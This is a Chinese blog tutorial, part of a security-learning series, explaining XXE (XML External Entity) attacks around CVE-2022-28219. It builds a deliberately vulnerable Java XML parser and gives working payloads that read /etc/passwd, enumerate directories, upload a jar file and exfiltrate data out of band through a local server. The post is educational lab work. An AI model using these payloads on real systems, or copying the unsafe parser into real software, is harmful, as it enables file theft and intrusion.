iT邦幫忙

2022 iThome 鐵人賽

DAY 27
0

Yes

  • 第 27 天主要是介紹 CVE-2022-28219 應用 OWASP Top 10 A4 XXE 的攻擊原理。
    所謂的 XXE 的攻擊手法又被稱為 XML External Entity Injection , 主要是 XML 的資料在 DTD(document type definition) 的定義出可以做出類似變數宣告的功能,稱之為 Entity ,但這個功能很酷的是數值定義的部分可以引用外部資料,然後就造成一連串的花式攻擊手法。以下就是針對 XXE 攻擊做一個比較快速的實作跟介紹,如果想要看比較詳細的介紹可以參考我之前做的影片 (CVE-2022-28219) 江湖流傳已久的 Double Cross E (XXE) 的必殺技,來看看它如何被利用/images/emoticon/emoticon39.gif

  • 那就先從建立有弱點的應用程式以及基本的 Entity 使用開始,建立相關檔案資訊如下所示。

建立步驟 :

  1. vim Main.java (讀取 XML 做解析資料用)
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;

import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.FileInputStream;

public class Main {
    public static void main(String [] args) throws Exception {
        DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
        builderFactory.setValidating(false);

        DocumentBuilder documentBuilder = builderFactory.newDocumentBuilder();
        Document document = documentBuilder.parse(new FileInputStream(args[0]));

        System.out.println(document.getDocumentElement().getNodeName());

        //Get all employees
        NodeList nList = document.getElementsByTagName("employee");
        System.out.println("============================");

        for (int temp = 0; temp < nList.getLength(); temp++)
        {
            Node node = nList.item(temp);
            System.out.println("");    //Just a separator
            if (node.getNodeType() == Node.ELEMENT_NODE)
            {
                //Print each employee's detail
                Element eElement = (Element) node;
                System.out.println("Employee id : " + eElement.getAttribute("id"));
                System.out.println("First Name : "  + eElement.getElementsByTagName("firstName").item(0).getTextContent());
                System.out.println("Last Name : "   + eElement.getElementsByTagName("lastName").item(0).getTextContent());
                System.out.println("Location : "    + eElement.getElementsByTagName("location").item(0).getTextContent());
            }
        }
    }
}
  1. vim internal_entity.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
    <!ENTITY xxe "I am aeifkz" >
]>
<employees>
    <employee id="111">
        <firstName>&xxe;</firstName>
        <lastName>bbb</lastName>
        <location>ccc</location>
    </employee>
</employees>
  1. javac Main.java && java Main internal_entity.xml
  • 上述程式差不多展示了內部實體引入的效果,就是可以把內部實體定義的數值透過 &變數名稱; 的格式取出,那接下來就來看看怎麼引入外部實體。
  1. vim read_file.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
    <!ENTITY xxe1 SYSTEM "file:///etc/passwd" >
    <!ENTITY xxe2 SYSTEM "file:///tmp" >
]>
<employees>
    <employee id="111">
        <firstName>&xxe1;</firstName>
        <lastName>&xxe2;</lastName>
        <location>ccc</location>
    </employee>
</employees>
  1. java Main read_file.xml
  • 從結果可以發現第一個欄位讀出了 /etc/passwd 的內部資料,第二個欄位則顯示了 /tmp 目錄下的檔案資訊,看起來 XXE 除了可以任意檔案讀取之外,也可以達到目錄列舉的效果。接下來要試一個有趣的攻擊手法 - 任意檔案上傳 /images/emoticon/emoticon76.gif,這部分需要額外的工具協助,可參考 pwntester/BlockingServer 以及 XXE Jar Upload
  1. git clone https://github.com/pwntester/BlockingServer.git
  2. echo "sleep 30000" > test.jar
  3. javac BlockingServer.java && java BlockingServer 8080 test.jar
  4. vim file_upload.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
    <!-- TODO change your http jar url  -->
    <!ENTITY xxe SYSTEM "jar:http://localhost:8080/test.jar!/anything_you_like" >
]>
<employees>
    <employee id="111">
        <firstName>&xxe;</firstName>
        <lastName>bbb</lastName>
        <location>ccc</location>
    </employee>
</employees>
  • 從上面可以知道 XXE 雖然可以做到任意檔案上傳,但卻無法控制要上傳的路徑以及檔名,這時候就需要一開始的目錄列舉的功能,找出真正的檔案名稱出來。這部分也需要借助工具 LandGrey/xxe-ftp-server
  1. git clone https://github.com/LandGrey/xxe-ftp-server.git
  2. sudo apt install python2 -y && python2 xxe-ftp-server.py 127.0.0.1 8080 2121
  3. vim directory_list.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
  <!ENTITY % file SYSTEM "file:///tmp">
  <!-- TODO change your http dtd url -->
  <!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/data.dtd url"> %dtd;
]>
<employees>
    <employee id="111">
        <firstName>&send;</firstName>
        <lastName>bbb</lastName>
        <location>ccc</location>
    </employee>
</employees>
  1. java Main directory_list.xml
  • 這邊會失敗的原因是因為後來的 JDK 版本有針對送往 FTP URL 做字元上的限制,必須使用比較舊的版本 /images/emoticon/emoticon17.gif,這部分就留到到時候建立漏洞環境的時候再來做驗證。

  • 最後做個小結論,雖然 XXE 在普遍的認知下是可以達到任意檔案讀取的效果,但透過這個漏洞的使用手法讓我們學習到了其實可以用來做任意檔案上傳 + 目錄列舉達到進一步的攻擊效果。至於防禦方式一樣可以參考 XML External Entity Prevention Cheat Sheet /images/emoticon/emoticon13.gif


上一篇
Day26 - 這是我最後的漏洞了!收下吧! - 不安全反序列化
下一篇
Day28 - 這是我最後的漏洞了!收下吧!- 建立 AD 環境
系列文
從建立環境、驗證漏洞、感受漏洞來學習資安37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言